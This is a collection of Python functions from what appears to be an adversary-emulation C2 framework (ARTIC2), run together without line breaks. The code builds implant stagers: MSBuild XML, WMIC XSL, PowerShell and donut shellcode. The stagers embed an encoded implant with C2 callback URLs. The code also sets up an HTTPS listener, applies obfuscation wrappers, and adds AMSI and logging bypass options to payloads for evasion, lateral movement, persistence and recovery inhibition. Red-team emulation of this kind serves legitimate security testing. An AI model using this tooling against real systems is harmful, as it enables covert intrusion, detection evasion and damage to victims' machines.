def get_description(self): path = get_path_in_package('core/wss/ttp/art/pwsh_cmd_ttp/defenseEvasion/T1218.010-5') with open(path) as text: head = [next(text) for l in range(4)] technique_name = head[0].replace('#TechniqueName: ', '').strip('\n') atomic_name = head[1].replace('#AtomicTestName: ', '').strip('\n') description = head[2].replace('#Description: ', '').strip('\n') language = head[3].replace('#Language: ', '').strip('\n') aux = '' count = 1 for char in description: if char == '&': continue aux += char if count % 126 == 0: aux += '\n' count += 1 out = '{}: {}\n{}\n\n{}\n'.format(technique_name, language, atomic_name, aux) return out
def __init__(self, cli_menu): self.path_completer = PathCompleter() self.cli_menu = cli_menu (_, _, attack_chain_files) = next( os.walk(get_path_in_package('core/automate/attack_chain'))) (_, _, attack_profile_files) = next( os.walk(get_path_in_package('core/automate/attack_profile'))) (_, _, attack_scenario_files) = next( os.walk(get_path_in_package('core/automate/attack_scenario'))) self.attack_chain_files = attack_chain_files self.attack_profile_files = attack_profile_files self.attack_scenario_files = attack_scenario_files self.stagers_path = '/var/www/html'
def generate(self, listener): with open(get_path_in_package('core/wss/data/naga.exe'), 'rb') as assembly: with open(get_path_in_package('core/wss/stagers/templates/msbuild.xml')) as template: guid = uuid.uuid4() psk = gen_stager_psk() c2_urls = ','.join( filter(None, [listener['CallBackURls']]) ) template = template.read() template = template.replace('GUID', str(guid)) template = template.replace('PSK', psk) template = template.replace('URLS', c2_urls) template = template.replace("NAME_GOES_HERE", gen_random_string_no_digits(5)) template = template.replace("BASE64_ENCODED_ASSEMBLY", dotnet_deflate_and_encode(assembly.read())) return guid, psk, template
def gen_stager_code(comms, hook_assemblyresolve_event=False): with open(get_path_in_package("core/wss/data/stage.boo")) as stage: comm_classes, comms_section = get_comms(comms) stage = stage.read() stage = stage.replace("PUT_COMMS_HERE", comms_section) stage = stage.replace("PUT_COMM_CLASSES_HERE", comm_classes) stage = stage.replace("ASSEMBLY_RESOLVE_HOOK_GOES_HERE", assemblyresolve_event_hook if hook_assemblyresolve_event else '') stage = stage.replace("ASSEMBLY_RESOLVE_EVENT_HANDLER_GOES_HERE", assemblyresolve_event_handler if hook_assemblyresolve_event else '') return stage
def __init__(self, wss): self.wss = wss self.listeners = [] self.selected = None ipc_server.attach(Events.GET_LISTENERS, self._get_listeners) ipc_server.write() super().__init__(type="listener", paths=[get_path_in_package("core/wss/listeners/")])
def payload(self): with open(get_path_in_package('core/wss/ttp/art/src/powershell.boo'), 'r') as ttp_src: src = ttp_src.read() pwsh_script = get_path_in_package( 'core/wss/ttp/art/pwsh_ttp/lateralMovement/T1021.006-2') with open(pwsh_script) as pwsh: src = src.replace("POWERSHELL_SCRIPT", pwsh.read()) src = src.replace( "OUT_STRING", str(self.options["OutString"]["Value"]).lower()) src = src.replace( "BYPASS_LOGGING", str(self.options["BypassLogging"]["Value"]).lower()) src = src.replace( "BYPASS_AMSI", str(self.options["BypassAmsi"]["Value"]).lower()) return src
def generate(self, listener): with open(get_path_in_package( 'core/wss/stagers/templates/wmic.xsl')) as template: c2_urls = ','.join(filter(None, [listener['CallBackURls']])) guid = uuid.uuid4() psk = gen_stager_psk() template = template.read() template = template.replace("C2_URL", c2_urls) return guid, psk, template
def payload(self): with open(get_path_in_package('core/wss/ttp/art/src/hybrid.boo'), 'r') as ttp_src: src = ttp_src.read() hybrid_script = get_path_in_package( 'core/wss/ttp/art/src/pwsh_cmd_ttp/impact/T1490-1') with open(hybrid_script) as hybrid: src = src.replace("POWERSHELL_SCRIPT", hybrid.read()) src = src.replace( "OUT_STRING", str(self.options["OutString"]["Value"]).lower()) src = src.replace( "BYPASS_LOGGING", str(self.options["BypassLogging"]["Value"]).lower()) src = src.replace( "BYPASS_AMSI", str(self.options["BypassAmsi"]["Value"]).lower()) return src
def payload(self): with open(get_path_in_package('core/wss/ttp/art/src/powershell.boo'), 'r') as ttp_src: src = ttp_src.read() posh_script = get_path_in_package( f'core/wss/ttp/art/src/ps1_ttp/initialAccess/{self.options["Atomic"]["Value"]}' ) with open(posh_script) as posh_ps1: src = src.replace("POWERSHELL_SCRIPT", posh_ps1.read()) src = src.replace( "OUT_STRING", str(self.options["OutString"]["Value"]).lower()) src = src.replace( "BYPASS_LOGGING", str(self.options["BypassLogging"]["Value"]).lower()) src = src.replace( "BYPASS_AMSI", str(self.options["BypassAmsi"]["Value"]).lower()) return src
def generate(self, listener): with open(get_path_in_package('core/wss/data/Boo.Lang.dll'), 'rb') as boolangdll: with open(get_path_in_package('core/wss/data/Boo.Lang.Compiler.dll'), 'rb') as boolangcompilerdll: with open(get_path_in_package('core/wss/data/Boo.Lang.Parser.dll'), 'rb') as boolangparserdll: with open(get_path_in_package('core/wss/data/Boo.Lang.Extensions.dll'), 'rb') as boolangextensionsdll: with open(get_path_in_package('core/wss/stagers/templates/posh_stageless.ps1')) as template: template = template.read() c2_urls = ','.join( filter(None, [listener['CallBackURls']]) ) guid = uuid.uuid4() psk = gen_stager_psk() if bool(self.options['AsFunction']['Value']) is True: function_name = gen_random_string(6).upper() template = f"""function Invoke-{function_name} {{ [CmdletBinding()] param ( [Parameter(Mandatory=$true)][String]$Guid, [Parameter(Mandatory=$true)][String]$Psk, [Parameter(Mandatory=$true)][String]$Url ) {template} }} Invoke-{function_name} -Guid '{guid}' -Psk '{psk}' -Url '{c2_urls}' """ else: template = template.replace("$Url", f'{c2_urls}') template = template.replace("$Guid", f'{guid}') template = template.replace("$Psk", f'{psk}') template = template.replace("BOOLANG_DLL_GOES_HERE", dotnet_deflate_and_encode(boolangdll.read())) template = template.replace("BOOLANGPARSER_DLL_GOES_HERE", dotnet_deflate_and_encode(boolangparserdll.read())) template = template.replace("BOOLANGCOMPILER_DLL_GOES_HERE", dotnet_deflate_and_encode(boolangcompilerdll.read())) template = template.replace("BOOLANGEXTENSIONS_DLL_GOES_HERE", dotnet_deflate_and_encode(boolangextensionsdll.read())) template = template.replace("SOURCE_CODE_GOES_HERE", gen_stager_code(listener['comms'].split(','), hook_assemblyresolve_event=True)) return guid, psk, template
def generate(self, listener): with open(get_path_in_package('core/wss/data/naga.exe'), 'rb') as assembly: with open( get_path_in_package( 'core/wss/stagers/templates/posh.ps1')) as template: template = template.read() c2_urls = ','.join(filter(None, [listener['CallBackURls']])) guid = uuid.uuid4() psk = gen_stager_psk() template = template.replace("ARGS_NAME", gen_random_string(6)) if bool(self.options['AsFunction']['Value']) is True: function_name = gen_random_string(6).upper() template = f"""function Invoke-{function_name} {{ [CmdletBinding()] param ( [Parameter(Mandatory=$true)][String]$Guid, [Parameter(Mandatory=$true)][String]$Psk, [Parameter(Mandatory=$true)][String]$Url ) {template} }} Invoke-{function_name} -Guid '{guid}' -Psk '{psk}' -Url '{c2_urls}' """ else: template = template.replace("$Url", f'"{c2_urls}"') template = template.replace("$Guid", f'"{guid}"') template = template.replace("$Psk", f'"{psk}"') assembly = assembly.read() template = template.replace( "BASE64_ENCODED_ASSEMBLY", dotnet_deflate_and_encode(assembly)) template = template.replace("DATA_LENGTH", str(len(assembly))) return guid, psk, template
def generate(self, listener): with open(get_path_in_package('core/wss/data/naga.exe'), 'rb') as assembly: guid = uuid.uuid4() psk = gen_stager_psk() c2_urls = ','.join( filter(None, [listener['CallBackURls']]) ) arch = 3 # User can specify 64-bit or 32-bit if self.options['Architecture']['Value'] == 'x64': arch = 2 elif self.options['Architecture']['Value'] == 'x86': arch = 1 donut_shellcode = donut.create(file=get_path_in_package('core/wss/data/naga.exe'), params=f"{guid};{psk};{c2_urls}", arch=arch) shellcode = shellcode_to_hex_string(donut_shellcode) return guid, psk, shellcode
def __init__(self): super().__init__() self.name = 'https' self.certs_path = get_path_in_package('core/certs') self.description = 'HTTPS listener' self.options = { 'Name': { 'Description': 'Name for the listener.', 'Required': True, 'Value': 'https' }, 'BindIP': { 'Description': 'The IPv4/IPv6 address to bind to.', 'Required': True, 'Value': get_ipaddress() }, 'Port': { 'Description': 'Port for the listener.', 'Required': True, 'Value': 443 }, 'Cert': { 'Description': 'SSL Certificate file', 'Required': False, 'Value': f'{self.certs_path}/artic2_cert.pem' }, 'Key': { 'Description': 'SSL Key file', 'Required': False, 'Value': f'{self.certs_path}/artic2_private.key' }, 'RegenCert': { 'Description': 'Regenerate TLS cert', 'Required': False, 'Value': False }, 'CallBackURls': { 'Description': 'C2 Callback URLs (comma seperated)', 'Required': True, 'Value': '' }, 'Comms': { 'Description': 'C2 Comms to use', 'Required': True, 'Value': 'https' } }
def get_tunnels(self): (root, _, filenames) = next(os.walk(get_path_in_package('core/wss/tunnels'))) for tunnel in filenames: if tunnel[-3:] == '.py': w = self.load(os.path.join(root, tunnel)) current_tunnel = w.ARTIC2Tunnel().name if any(self.tunnels): for tunnel in self.tunnels: if tunnel.name == current_tunnel: continue else: self.tunnels.append(w.ARTIC2Tunnel()) else: self.tunnels.append(w.ARTIC2Tunnel()) return self.tunnels
def get_obfuscation_wrappers(self): (root, _, wrappers) = next(os.walk(get_path_in_package('core/obfuscate'))) for wrapper in wrappers: if wrapper[-3:] == '.py': w = self.load(os.path.join(root, wrapper)) current_obf = w.ARTIC2Wrapper().name if any(self.obfuscation_wrappers): for obf in self.obfuscation_wrappers: if obf.name == current_obf: continue else: self.obfuscation_wrappers.append(w.ARTIC2Wrapper()) else: self.obfuscation_wrappers.append(w.ARTIC2Wrapper()) return self.obfuscation_wrappers
def attackchain(self, automated_attack_file: str, sessions: List[str]): """ Runs an attackchain file Usage: attackchain [-h] <automated_attack_file> <sessions>... """ global INSTRUCTIONS global SESSION path = 'core/automate/attack_chain/' automated_attack_file = get_path_in_package('{}/{}'.format( path, automated_attack_file)) if os.path.exists(automated_attack_file): self.attack_is_ready = True INSTRUCTIONS = automated_attack_file SESSION = sessions else: print(' * [!] No such attack chain.')
def walking_in_directory(self): path = get_path_in_package( 'core/wss/ttp/art/src/cmd_ttp/lateralMovement/') (root, _, filenames) = next(os.walk(path)) return (root, _, filenames)
def walking_in_directory(self): path = get_path_in_package('core/wss/ttp/art/src/cmd_ttp/persistence/') (root, _, filenames) = next(os.walk(path)) return (root, _, filenames)
def walking_in_directory(self): path = get_path_in_package( 'core/wss/ttp/art/src/ps1_ttp/initialAccess/') (root, _, filenames) = next(os.walk(path)) return (root, _, filenames)
def walking_in_directory(self): path = get_path_in_package( 'core/wss/ttp/art/src/pwsh_ttp/privilegeEscalation/') (root, _, filenames) = next(os.walk(path)) return (root, _, filenames)
def walking_in_directory(self): path = get_path_in_package('core/wss/ttp/art/src/pwsh_ttp/commandAndControl/') (root, _, filenames) = next(os.walk(path)) return (root, _, filenames)
def generate(self, listener): with open(get_path_in_package('core/wss/data/naga.dll'), 'rb') as dll: guid = uuid.uuid4() psk = gen_stager_psk() return guid, psk, dll.read().decode('latin-1')
def __init__(self, wss): self.wss = wss self.ttp = [] self.selected = None super().__init__(type="atomic", paths=[get_path_in_package("core/wss/ttp/art/")])
def walking_in_directory(self): path = get_path_in_package( 'core/wss/ttp/art/src/pwsh_cmd_ttp/defenseEvasion/') (root, _, filenames) = next(os.walk(path)) return (root, _, filenames)
def __init__(self): self.name = 'ps1' self.tool = 'powershell.sh' self.target_directory = '/var/www/html/' self.tools_path = get_path_in_package('core/obfuscate/src/powershell/')